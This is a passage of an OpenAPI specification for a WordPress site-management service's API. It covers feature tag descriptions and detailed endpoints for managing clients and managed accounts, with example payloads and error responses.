{ "openapi": "3.1.0", "info": { "title": "API Documentation", "version": "6.0.0", "license": { "name": "LicenseRef-Proprietary", "identifier": "LicenseRef-Proprietary" }, "description": "Build reliable site-management integrations for the WordPress sites in your\naccount.\n\nUse these endpoints to manage sites, review current status, and start\nmaintenance actions from your own tools.\n\n## Rate Limiting\n\nAuthenticated requests are limited to 200 requests per minute per account. If the limit is exceeded, the API returns `429 Too Many Requests`.\n\nResponses include these rate-limit headers:\n\n- `X-RateLimit-Limit`: Maximum number of requests allowed per minute.\n- `X-RateLimit-Remaining`: Number of requests remaining in the current rate-limit window.\n- `X-RateLimit-Reset`: Number of seconds until the current rate-limit window resets.\n" }, "servers": [ { "url": "https://api.blogvault.net/api/v6", "description": "Production base URL" } ], "security": [ { "BearerAuth": [] } ], "tags": [ { "name": "Clients", "description": "Clients are customers or companies whose WordPress sites you manage.\n\nUse Clients to maintain each customer's contact details and notes, and to\ngroup the WordPress sites you manage for that customer. This makes it easier\nto see who each site belongs to when reviewing clients or changing site\nassignments.\n" }, { "name": "Teams", "description": "Team Members are people who can access your account, plus invitations you\nsent that are still waiting for acceptance.\n\nUse Team Members to see current access, pending invitations, roles, and\nwhether access covers all sites or only selected sites.\n" }, { "name": "Managed Accounts", "description": "Managed Accounts are accounts owned by other people where you have been given\naccess, plus invitations waiting for your decision.\n\nUse Managed Accounts to see access granted to you: accounts you can access,\ninvitations waiting for your decision, your role, and whether access covers\nall sites or only selected sites.\n\nFor access you grant to others, use Team Members to see who can access your\naccount and invitations you have sent.\n" }, { "name": "Sender Emails", "description": "Sender Emails are email addresses you add to your account so report and\nnotification emails can use them as the From address.\n\nUse Sender Emails to see each address, whether ownership is pending or\nverified, and the DKIM and return-path DNS details used to authenticate it.\nDKIM details are the DNS hostname and value that help prove emails from the\naddress are authorized by the domain. Return-path details are the DNS\nhostname and value used by the email provider to handle bounced emails and\nsupport sender authentication.\n" }, { "name": "Tags", "description": "Tags are labels for grouping WordPress sites available to you.\n\nUse Tags to review each label's name, color, and the sites assigned to it.\n" }, { "name": "Tasks", "description": "Tasks are background actions in your account, such as WordPress updates,\nstaging, restores, migrations, reports, cleanup, and other site maintenance.\n\nUse Tasks to check status and progress, review the sites and options used for\nthe task, and inspect site-level progress and steps when details are available.\n" }, { "name": "Reports", "description": "Reports are generated summaries of site activity and health for WordPress\nsites available to you. Each report covers a selected date range and can\ninclude backup activity, updates, security and firewall activity, login\nactivity, uptime, performance, analytics, and custom work.\n\nUse Reports to review what happened on a site during that period, confirm\nwhich site and client the report belongs to when available, and check the\nlatest email delivery status when it has been sent to recipients.\n" }, { "name": "Scheduled Reports", "description": "Scheduled Reports are recurring schedules that generate reports for WordPress\nsites available to you.\n\nUse Scheduled Reports to manage recurring report generation for each site,\nincluding schedule status, frequency, next report time, report contents, and\nemail delivery settings.\n" }, { "name": "Report Templates", "description": "Report Templates define reusable report appearance, included sections,\nsection order, and email settings.\n\nUse Report Templates to review and manage user-created templates, choose\ntemplates for one-time or scheduled reports, and see where each template is\nused through active or paused scheduled reports.\n" }, { "name": "Staging", "description": "Staging Sites are temporary WordPress sites created from backup snapshots of\nlive sites.\n\nUse Staging Sites to evaluate updates, fixes, and other site changes on an\nisolated copy before applying them to the live site. Each staging site also\nshows its current status, expiry, PHP version, and access details.\n" }, { "name": "Auto Update Schedules", "description": "Auto Update Schedules are recurring schedules that run WordPress core,\nplugin, and theme updates for selected sites.\n\nUse Auto Update Schedules to manage when WordPress updates run, which sites\nand update types are included, and whether backups or visual regression\nchecks run with the updates.\n" }, { "name": "Auto Update History", "description": "Auto Update History shows past runs from Auto Update Schedules for\nWordPress sites in your account.\n\nUse Auto Update History to review when scheduled WordPress updates ran,\nwhich schedule started each run, whether an update task was created, and\nwhich site-level core, plugin, or theme updates were included.\n" }, { "name": "Plugin Branding", "description": "Plugin Branding controls how your account's plugin is displayed in\nWordPress admin across sites in your account.\n\nUse Plugin Branding to review or change the plugin's displayed name,\ndescription, author details, or whether the plugin is hidden.\n" }, { "name": "WP Login Branding", "description": "WP Login Branding controls the WordPress login screen shown across sites in\nyour account.\n\nUse WP Login Branding to review or change the login logo, page label, error\nmessage, help text, and sender email, and to see whether the account is\nusing default or custom login branding.\n" }, { "name": "Backup Destinations", "description": "Backup Destinations are external storage connections that can receive backup\nuploads from WordPress sites in your account.\n\nUse Backup Destinations to review available storage providers, see which\nstorage accounts are connected, and confirm the connection details needed\nbefore uploading backups.\n" }, { "name": "Sites", "description": "Sites are WordPress sites available to you.\n\nUse Sites as the central view of each WordPress site, including its URL,\nconnection and sync state, assigned client and tags, backup and security\nstatus, server details, and WordPress update information.\n" }, { "name": "Backups Activation", "description": "Backups are recovery snapshots created for WordPress sites available to you.\n\nUse Backups Activation to manage whether one WordPress site creates new\nbackup snapshots.\n" }, { "name": "Snapshots", "description": "Snapshots are saved backup recovery points for WordPress sites available to\nyou.\n\nUse Snapshots to review backup history, inspect backup contents and scan\ndetails, and choose a snapshot before starting download, upload, migration,\nor restore workflows.\n" }, { "name": "Backup Download", "description": "Backup Downloads use completed site snapshots to package backup content for\ndownload.\n\nUse Backup Downloads to package all files and database tables, or only\nselected paths and tables.\n" }, { "name": "Backup Upload", "description": "Backup Uploads use completed site snapshots to send backup content to a\nconnected backup destination.\n\nUse Backup Uploads to upload all files and database tables, or only selected\npaths and tables, to Dropbox or Google Drive.\n" }, { "name": "Backup Migration", "description": "Backup Migrations use completed site snapshots to move backup content to\nanother WordPress installation.\n\nUse Backup Migrations to migrate all files and database tables, or only\nselected paths and tables, to another site available to you or to an external\ndestination.\n" }, { "name": "Backup Restore", "description": "Backup Restores use completed site snapshots to restore backup content to\nthe same WordPress site.\n\nUse Backup Restores to restore all files and database tables, or only\nselected paths, tables, or WordPress multisite subsites.\n" }, { "name": "Files", "description": "Files are the backup file tree captured in completed backup snapshots for\nWordPress sites available to you.\n\nUse Files to browse backup contents, review stored file versions and totals\nfor files and folders, and manage which directories are included in future\nbackups.\n" }, { "name": "Tables", "description": "Tables are database tables captured in completed backup snapshots for\nWordPress sites available to you.\n\nUse Tables to browse table names, row counts, data sizes, and totals, and\nmanage which tables are included in future backups.\n" }, { "name": "Site Settings", "description": "Site Settings are site-level WordPress controls for one site in your\naccount.\n\nUse Site Settings to review or change WordPress auto-updates and\nWooCommerce database upgrades for that site.\n" }, { "name": "Site Plugin Branding", "description": "Site Plugin Branding controls how your account's plugin is displayed in\nWordPress admin on one WordPress site available to you.\n\nUse Site Plugin Branding to review or change whether that site uses default\nplugin details, inherits account branding, hides the plugin, or shows a\ncustom displayed name, description, and author details.\n" }, { "name": "Site WP Login Branding", "description": "Site WP Login Branding controls how the WordPress login screen is displayed\non one WordPress site available to you.\n\nUse Site WP Login Branding to review or change whether that site uses the\nstandard WordPress login screen, inherits account-level WP Login Branding,\nor uses its own login logo, page label, error message, help text, and\nsender email.\n" }, { "name": "Important Pages", "description": "Important Pages are selected page URLs on a WordPress site that need\npage-specific monitoring.\n\nUse Important Pages to keep key site pages available for page-specific\nmonitoring.\n" }, { "name": "WordPress Core", "description": "WordPress Core shows the installed WordPress version, latest available\nversion, update availability, and core update lock state for WordPress sites\navailable to you.\n\nUse WordPress Core to review core update status and manage whether core\nupdates are locked for selected sites.\n" }, { "name": "WordPress Plugins", "description": "WordPress Plugins are installed plugin details for WordPress sites available\nto you.\n\nUse WordPress Plugins to review each site's installed plugins, versions,\nupdate availability, activation state, package availability, security\nstatus, and update locks.\n" }, { "name": "WordPress Themes", "description": "WordPress Themes are installed theme details for WordPress sites available\nto you.\n\nUse WordPress Themes to review each site's installed themes, active theme,\navailable updates, child-theme state, package availability, security status,\nand update locks.\n" }, { "name": "WordPress Updates", "description": "WordPress Updates are available WordPress core, plugin, and theme updates\nfor sites available to you.\n\nUse WordPress Updates to review available updates by site, compare installed\nand latest versions, and apply updates with backup, sandbox, or\nvisual-regression options when available.\n" }, { "name": "WordPress Users", "description": "WordPress Users are WordPress user accounts on sites available to you.\n\nUse WordPress Users to review user identity, role, 2FA, and default login\ndetails across sites, and to manage user access and login settings.\n" }, { "name": "Security Activation", "description": "Security Activation controls whether one WordPress site available to you\nuses security scanning.\n\nUse Security Activation to turn scanning on or off and confirm whether\nscanning is enabled after the change.\n" }, { "name": "Login Protection", "description": "Login Protection shows WordPress login attempt history for one site.\n\nUse Login Protection to review blocked, failed, and successful login\nattempts, or to view summary counts and trends for a selected time range.\n" }, { "name": "Cleanup", "description": "Cleanup is automatic malware cleanup for hacked WordPress sites.\n\nUse Cleanup to confirm whether a hacked site can be cleaned automatically\nand manage the connection details and post-cleanup preferences needed for\ncleanup.\n" }, { "name": "Detection Summary", "description": "Detection Summary shows counts of potentially malicious files, scripts,\nplugins, cron jobs, and redirections found by the security scanner for one\nWordPress site.\n\nUse Detection Summary to compare totals by detection type and decide where\nreview is needed.\n" }, { "name": "File Detections", "description": "File Detections are potentially malicious files found by the security\nscanner for one WordPress site.\n\nUse File Detections to review affected file paths, inspect available file\ncontent, and decide whether detections should be treated as safe or unsafe.\n" }, { "name": "Script Detections", "description": "Script Detections are potentially malicious scripts found by the security\nscanner for one WordPress site.\n\nUse Script Detections to review affected scripts, threat categories,\ndetection locations, available script content, and mark expected scripts\nsafe.\n" }, { "name": "Plugin Detections", "description": "Plugin Detections are installed WordPress plugins classified as malicious by\nthe security scanner for one WordPress site.\n\nUse Plugin Detections to review which malicious plugins were found, their\nversions, activation and update state, package availability, and\nvulnerability status.\n" }, { "name": "Cron Job Detections", "description": "Cron Job Detections are potentially malicious scheduled commands found by\nthe security scanner for one WordPress site.\n\nUse Cron Job Detections to review command content and manage whether\nexpected commands are treated as safe.\n" }, { "name": "Redirection Detections", "description": "Redirection Detections are potentially malicious redirects or new-tab\ndestinations found on pages of one WordPress site.\n\nUse Redirection Detections to review source pages, destination URLs,\ndetection times, and mark expected destination hosts safe.\n" }, { "name": "Performance Activation", "description": "Performance Activation controls whether one WordPress site uses performance\noptimization.\n\nUse Performance Activation to turn optimization on or off and confirm\nwhether optimization is enabled after the change.\n" }, { "name": "Performance Settings", "description": "Performance Settings are cache, JavaScript, CSS, image, and font\noptimization controls for one WordPress site.\n\nUse Performance Settings to review or change how those optimizations behave\non that site.\n" }, { "name": "Performance Reports", "description": "Performance Reports are the latest performance scores, metrics, and audit\ndetails for WordPress sites available to you.\n\nUse Performance Reports to compare site performance results or inspect the\ndetailed metrics and audits for one site.\n" }, { "name": "Activity Logs", "description": "Activity Logs are a timeline of user and site actions for one WordPress site.\n\nUse Activity Logs to review activity across content, users, plugins, themes,\nlogins, and other site changes, and to manage whether new activity is\ncollected.\n" }, { "name": "Custom Works", "description": "Custom Works are manually completed work items for WordPress sites in your\naccount, such as maintenance, optimizations, fixes, audits, or other\nreportable changes.\n\nUse Custom Works to keep dated work history connected to each site, so\ncompleted work can be reviewed later or included in reports.\n" }, { "name": "Notes", "description": "Notes are text entries attached to WordPress sites.\n\nUse Notes to keep site context, handoff details, investigation findings,\nreminders, and work history connected to each site. Previous content remains\navailable as note versions after edits.\n" }, { "name": "Firewall Activation", "description": "Firewall Activation controls whether one WordPress site uses firewall\nprotection.\n\nUse Firewall Activation to turn firewall protection on or off and confirm\nwhether standard and advanced firewall protection are active after the\nchange.\n" }, { "name": "Bot Protection", "description": "Bot Protection controls whether one WordPress site uses bot traffic\nprotection.\n\nUse Bot Protection to turn the feature on or off and review request counts\nfor recognized bots and blocked or unwanted bots over a selected time range.\n" }, { "name": "IP Access", "description": "IP Access defines trusted IPv4 or IPv6 addresses that should not be blocked\nby firewall and login protection checks for one WordPress site.\n\nUse IP Access to review, add, or remove trusted IP addresses for operators,\noffice networks, monitoring systems, or support workflows.\n" }, { "name": "Firewall Logs", "description": "Firewall Logs are request logs recorded by the firewall for one WordPress\nsite.\n\nUse Firewall Logs to review recent firewall decisions, search requests, and\nview request count trends for a selected time range.\n" }, { "name": "Geo Blocking", "description": "Geo Blocking blocks requests from selected countries for one WordPress site.\n\nUse Geo Blocking to review blocked countries and add or remove country codes\nfor the site's firewall.\n" } ], "paths": { "/clients": { "get": { "tags": [ "Clients" ], "summary": "List clients", "operationId": "listClients", "description": "Returns clients in your account with contact details, notes, and assigned\nsite IDs. The assigned site IDs identify the WordPress sites grouped under\neach client.\n\nUse this list to review customers, find a client to update, or check which\nsites are assigned to each client.\n\nA successful response returns a paginated list of clients.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `search`, `first_name`, `last_name`, `email`, `company_name`, `created_at`, `updated_at`\n- Supported operators:\n - `contains`: `search`, `first_name`, `last_name`, `email`, `company_name`\n - `gte`: `created_at`, `updated_at`\n - `lte`: `created_at`, `updated_at`\n- `search:contains` searches `first_name`, `last_name`, `email`, and `company_name`\n- Use ISO 8601 timestamps for `created_at` and `updated_at` filters\n- `timezone` applies to `created_at` filters\n- Example: `filters[email:contains]=client@`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `created_at`, `updated_at`, `first_name`, `last_name`, `email`, `company_name`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `created_at,desc`\n- Example: `sort=created_at,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "$ref": "#/components/parameters/timezone" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListClientsSort" }, "description": "Sort order for returned clients." }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ListClientsFilters" }, "description": "Filters applied to returned clients.", "example": { "search:contains": "client", "email:contains": "client@", "company_name:contains": "Acme" } } ], "responses": { "200": { "description": "Clients returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListClientsResponse" }, "example": { "clients": [ { "id": "fT9nK3xR7mL5pQ2vW8hY6bFd", "first_name": "John", "last_name": "Client", "email": "client@example.com", "company_name": "Acme Inc", "address": "221B Baker Street", "note": "VIP", "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ], "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-11T10:00:00Z" }, { "id": "dR5mK8xN4pL9wJ3vT7hY2bFa", "first_name": "Jane", "last_name": "Smith", "email": "jane@example.com", "company_name": "Beta LLC", "address": "", "note": "", "site_ids": [ "a1b2c3d4e5f64789ab0c123456789def" ], "created_at": "2026-01-09T08:00:00Z", "updated_at": "2026-01-09T08:00:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/ClientsInvalidIndexQueryResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "post": { "tags": [ "Clients" ], "summary": "Create client", "operationId": "createClient", "description": "Creates a client for a customer or company and can assign existing\nWordPress sites at the same time.\n\nUse this when you need to add a customer profile and group that customer's\nsites under it.\n\nSubmitted sites must be available to you and not already assigned to\nanother client.\n\nA successful response returns the created client, including its assigned\nsite IDs.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateClientRequest" }, "example": { "client": { "first_name": "New", "last_name": "Client", "email": "new@example.com", "company_name": "New Co", "address": "42 Main St", "note": "Priority", "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ] } } } } }, "responses": { "201": { "description": "Client created successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateClientResponse" }, "example": { "client": { "id": "dR5mK8xN4pL9wJ3vT7hY2bFa", "first_name": "New", "last_name": "Client", "email": "new@example.com", "company_name": "New Co", "address": "42 Main St", "note": "Priority", "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ], "created_at": "2026-01-12T10:00:00Z", "updated_at": "2026-01-12T10:00:00Z" } } } } }, "400": { "description": "The `client` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "empty_body": { "summary": "Required fields are missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "first_name", "message": "Can't be blank" }, { "code": "blank", "param": "email", "message": "Can't be blank" } ] } } }, "invalid_wrapper": { "summary": "Client root key is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "client", "message": "Must be an object" } ] } } }, "blank_first_name": { "summary": "First name is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "first_name", "message": "Can't be blank" } ] } } }, "blank_email": { "summary": "Email is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "email", "message": "Can't be blank" } ] } } }, "invalid_email": { "summary": "Email has invalid format", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "email", "message": "Invalid email format" } ] } } }, "invalid_site_ids_type": { "summary": "site_ids is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "site_ids", "message": "Must be an array" } ] } } }, "invalid_text_type": { "summary": "Optional text field is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "note", "message": "Must be a string" } ] } } }, "text_too_long": { "summary": "Text fields exceed maximum length", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "too_long", "param": "first_name", "message": "Is too long (maximum is 255 characters)" }, { "code": "too_long", "param": "last_name", "message": "Is too long (maximum is 255 characters)" }, { "code": "too_long", "param": "company_name", "message": "Is too long (maximum is 255 characters)" }, { "code": "too_long", "param": "address", "message": "Is too long (maximum is 2000 characters)" }, { "code": "too_long", "param": "note", "message": "Is too long (maximum is 5000 characters)" } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "description": "The client could not be created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "owner_email": { "summary": "Cannot add account owner as client", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "owner_email", "param": "email", "message": "Can't add account owner as client." } ] } } }, "already_exists": { "summary": "Email already exists on another client", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "already_exists", "param": "email", "message": "Client already exists." } ] } } }, "max_quota": { "summary": "Client creation limit reached", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "max_quota", "param": "base", "message": "Exceeded your clients limit." } ] } } }, "invalid_site_id": { "summary": "Invalid site ID", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_id", "param": "site_ids", "message": "Incorrect site id: 'a1b2c3d4e5f64789ab0c123456789def'" } ] } } }, "already_assigned": { "summary": "Site already assigned to another client", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "already_assigned", "param": "site_ids", "message": "Site(a1b2c3d4e5f64789ab0c123456789def) already assigned to a client" } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/clients/delete": { "post": { "tags": [ "Clients" ], "summary": "Delete clients", "operationId": "deleteClients", "description": "Removes one or more clients from your account.\n\nUse this when a customer should no longer be tracked as a client.\n\nPartial success is possible when some clients are removed and others are\nnot found.\n\nA successful response returns removed client IDs, client IDs that could not\nbe removed, and delete counts.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DeleteClientsRequest" }, "example": { "ids": [ "fT9nK3xR7mL5pQ2vW8hY6bFd", "dR5mK8xN4pL9wJ3vT7hY2bFa" ] } } } }, "responses": { "200": { "description": "Delete clients result (partial success allowed).", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DeleteClientsResponse" }, "example": { "delete": { "ids": [ "fT9nK3xR7mL5pQ2vW8hY6bFd" ], "errors": [ { "id": "bW4nK6xQ3mL8pJ5vT2hY9bFc", "code": "not_found", "message": "Client not found" } ] }, "meta": { "requested": 2, "succeeded": 1, "failed": 1 } } } } }, "400": { "description": "The `ids` request field is missing, empty, or not an array.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "blank_ids": { "summary": "Missing or empty ids array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "ids", "message": "Can't be blank" } ] } } }, "invalid_ids_type": { "summary": "ids is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "ids", "message": "Must be an array" } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/clients/{client_id}": { "parameters": [ { "name": "client_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/ClientId" }, "description": "Client ID returned in client lists and client details." } ], "get": { "tags": [ "Clients" ], "summary": "Show client", "operationId": "showClient", "description": "Returns one client with contact details, notes, and assigned site IDs. The\nassigned site IDs identify the WordPress sites grouped under this client.\n\nUse this when you need to review a customer profile or check the client's\ncurrent site assignments.\n\nA successful response returns the requested client.\n", "responses": { "200": { "description": "Client returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowClientResponse" }, "example": { "client": { "id": "fT9nK3xR7mL5pQ2vW8hY6bFd", "first_name": "John", "last_name": "Client", "email": "client@example.com", "company_name": "Acme Inc", "address": "221B Baker Street", "note": "VIP", "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ], "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-11T10:00:00Z" } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/clients/{client_id}/update": { "parameters": [ { "name": "client_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/ClientId" }, "description": "Client ID returned in client lists and client details." } ], "post": { "tags": [ "Clients" ], "summary": "Update client", "operationId": "updateClient", "description": "Updates a client's contact details, notes, or site assignments. Site\nassignments are the WordPress sites grouped under the client.\n\nUse this when customer details change or when sites need to be added to,\nremoved from, or replaced in the client's assignment list.\n\nSubmitted sites must be available to you and not already assigned to\nanother client.\n\nA successful response returns the updated client with its assigned site IDs.\n", "requestBody": { "required": false, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateClientRequest" }, "example": { "client": { "first_name": "Updated", "email": "updated@example.com", "company_name": "Updated Co", "note": "Updated note", "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ] } } } } }, "responses": { "200": { "description": "Client updated successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateClientResponse" }, "example": { "client": { "id": "fT9nK3xR7mL5pQ2vW8hY6bFd", "first_name": "Updated", "last_name": "Client", "email": "updated@example.com", "company_name": "Updated Co", "address": "42 Updated St", "note": "Updated note", "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ], "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-15T10:00:00Z" } } } } }, "400": { "description": "The `client` request body contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_wrapper": { "summary": "Client root key is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "client", "message": "Must be an object" } ] } } }, "blank_first_name": { "summary": "First name is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "first_name", "message": "Can't be blank" } ] } } }, "blank_email": { "summary": "Email is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "email", "message": "Can't be blank" } ] } } }, "invalid_email": { "summary": "Email has invalid format", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "email", "message": "Invalid email format" } ] } } }, "invalid_site_ids_type": { "summary": "site_ids is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "site_ids", "message": "Must be an array" } ] } } }, "invalid_text_type": { "summary": "Optional text field is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "note", "message": "Must be a string" } ] } } }, "text_too_long": { "summary": "Text fields exceed maximum length", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "too_long", "param": "first_name", "message": "Is too long (maximum is 255 characters)" }, { "code": "too_long", "param": "last_name", "message": "Is too long (maximum is 255 characters)" }, { "code": "too_long", "param": "company_name", "message": "Is too long (maximum is 255 characters)" }, { "code": "too_long", "param": "address", "message": "Is too long (maximum is 2000 characters)" }, { "code": "too_long", "param": "note", "message": "Is too long (maximum is 5000 characters)" } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "description": "The client could not be updated.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "owner_email": { "summary": "Cannot add account owner as client", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "owner_email", "param": "email", "message": "Can't add account owner as client." } ] } } }, "already_exists": { "summary": "Email already exists on another client", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "already_exists", "param": "email", "message": "Client already exists." } ] } } }, "invalid_site_id": { "summary": "Invalid site ID", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_id", "param": "site_ids", "message": "Incorrect site id: 'a1b2c3d4e5f64789ab0c123456789def'" } ] } } }, "already_assigned": { "summary": "Site already assigned to another client", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "already_assigned", "param": "site_ids", "message": "Site(a1b2c3d4e5f64789ab0c123456789def) already assigned to a client" } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/managed-accounts": { "get": { "tags": [ "Managed Accounts" ], "summary": "List managed accounts", "operationId": "listManagedAccounts", "description": "Returns accounts where you already have access and invitations sent to your\nemail address. Each item shows the account owner email, your role, status,\nand whether your access covers every site in that account.\n\nUse this list to show accounts you can access and invitations that still\nneed your decision.\n\nA successful response returns a paginated list of managed accounts.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `email`, `role`, `company_name`, `status`, `all_sites_access`, `created_at`, `updated_at`\n- Supported operators:\n - `contains`: `email`, `company_name`\n - `eq`: `role`, `status`, `all_sites_access`\n - `in`: `role`, `status`\n - `gte`: `created_at`, `updated_at`\n - `lte`: `created_at`, `updated_at`\n- `email:contains` matches the managed account owner's email address\n- Supported role values for matching: `collaborator`, `administrator`, `co_owner`\n- Supported status values for matching: `pending`, `connected`\n- Boolean filters accept `true` or `false`\n- Use ISO 8601 timestamps for `created_at` and `updated_at` filters\n- `timezone` applies to `created_at` filters\n- Example: `filters[email:contains]=owner@`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `created_at`, `updated_at`, `status`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `created_at,desc`\n- Example: `sort=created_at,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "$ref": "#/components/parameters/timezone" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListManagedAccountsSort" }, "description": "Sort order for returned managed accounts." }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ListManagedAccountsFilters" }, "description": "Filters applied to returned managed accounts.", "example": { "email:contains": "owner@", "status:eq": "pending" } } ], "responses": { "200": { "description": "Managed accounts returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListManagedAccountsResponse" }, "example": { "managed_accounts": [ { "id": "wJ8nK5xR2mL7pQ4vT6hY9bFd", "email": "owner@example.com", "role": "administrator", "company_name": "Acme Inc", "status": "connected", "all_sites_access": true, "created_at": "2026-02-28T10:00:00Z", "updated_at": "2026-02-28T10:00:00Z" }, { "id": "tR3mK7xN9pL4wJ6vQ2hY8bFa", "email": "agency-owner@example.com", "role": "collaborator", "company_name": "Agency Co", "status": "pending", "all_sites_access": false, "created_at": "2026-02-27T09:30:00Z", "updated_at": "2026-02-27T09:30:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/ManagedAccountsInvalidIndexQueryResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/managed-accounts/{managed_account_id}": { "parameters": [ { "name": "managed_account_id", "in": "path", "required": true, "schema": { "$ref": 